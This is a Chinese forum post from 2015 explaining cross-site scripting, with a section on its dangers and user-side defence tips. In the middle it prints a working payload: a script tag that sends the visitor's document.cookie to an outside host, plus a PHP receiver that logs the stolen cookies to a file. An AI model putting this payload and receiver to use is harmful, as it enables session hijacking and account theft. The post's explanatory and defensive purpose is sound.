本帖最后由 小屋皮 于 2015-7-23 10:57 编辑 1 U9 S, h6 ~4 D7 I! c
- N y/ c' F: a& l: e
谈到XSS漏洞攻击,可能很多童鞋或多或少的晓得一些基础的东西。现在就来带大家一块儿了解一下关于xss漏洞脚本攻防方面的技巧。当然老鸟飞过,不感兴趣的就算了吧。好,我们就从最最基本的开始学习。 一、什么是XSS攻击?初识概念 XSS其实就是跨站脚本攻击的英文缩写,攻击者利用WEB平台的漏洞,将恶意的客户端脚本代码(如 Javascript )通过各种“巧妙”的方式植入正常的网页中,当受害者访问此恶意页面后,就会执行相应的恶意代码,从而达到攻击者的某种目的,比如盗取浏览器会话、cookie信息等等。 二、XSS漏洞如何利用?了解危害 说到xss攻击个人感觉利用最多的就是来盗取用户帐号,包括QQ账户、网银支付号等等(比如劫持受害者的QQ cookie绕过验证);在就是可以用来网页挂马,甚至在受害者电脑留下后门程序;还有更严重的是骇客可以编写复杂的脚本用来做非法DDos网络攻击等等。可见xss攻击的危害还是非常大的! 如果来举个简单的例子,或许大家就可以更容易理解了。假设在某个知名网站存在漏洞的页面中成功嵌入了如下js脚本(实际应用中可以嵌入外部js文件,这里仅做演示,实际不存在):. [3 U: O# X. V8 r* ~
<script>document.write("<img src='http://www.feifeiboke.com/xss.php?c=" + escape(document.cookie) + "' />");</script> 其中xss.php也就是cookie接收端,我们可以写为:& d8 K4 ]* K7 P# A2 g. W
<?php 0 I$ F0 V9 o% T: ]! E6 E8 m+ Y( Y
$co = $_GET['c']; 9 r8 t) m6 U+ j" l) V
$fo = fopen('1.html', 'a'); $ }$ ^2 w% e2 C& p) b Y
fwrite($fo, 'Cookie: ' . $co . '<br>'); 4 P2 h9 C0 s* z
fclose($fo);
% m3 B. b. v+ A8 k0 T* O7 ^8 P?>$ ]6 k9 P" @' g4 G; O; s' R$ J$ e
这样当受害者访问并成功执行了我们构造的恶意脚本后,对方的cookie信息就会自动保存在1.html中。获得了对方的cookie,也就相当于拿到了他的账户管理权限。 三、XSS跨站漏洞的防范和应对 其实xss漏洞的危害远比我们想象中的要严重的多,包括很多知名站点腾讯、百度、新浪微博等等都曾爆出过xss漏洞,应该说是防不胜防啊。当然及时修复web漏洞/避免出现漏洞是这些网站安全工程师做的事儿,那么从我们用户的角度来说的话如何防范xss漏洞对自己造成的影响呢? 1. 不要访问别人发来的可疑网址链接,例如某些网址后面有一大串编码的参数(很可能是坏人精心构造含有恶意脚本的页面),还有就是短网址,你是直接看不出对方的真实网站链接的,所以访问一定要谨慎! 2. 使用最新版本的浏览器,比如IE8内核的浏览器,就自带有XSS筛选器的功能(默认就是启用状态),这虽不能完全解决xss的危害,但是对于防范一些xss跨站脚本还是有一定的效果的。 3. 提高安全意识,一些重要的帐号使用完毕后(比如网银/支付账户)要点击“退出”登录状态,而不是直接关闭网页。 1 G9 J# }6 s" r; g# _
|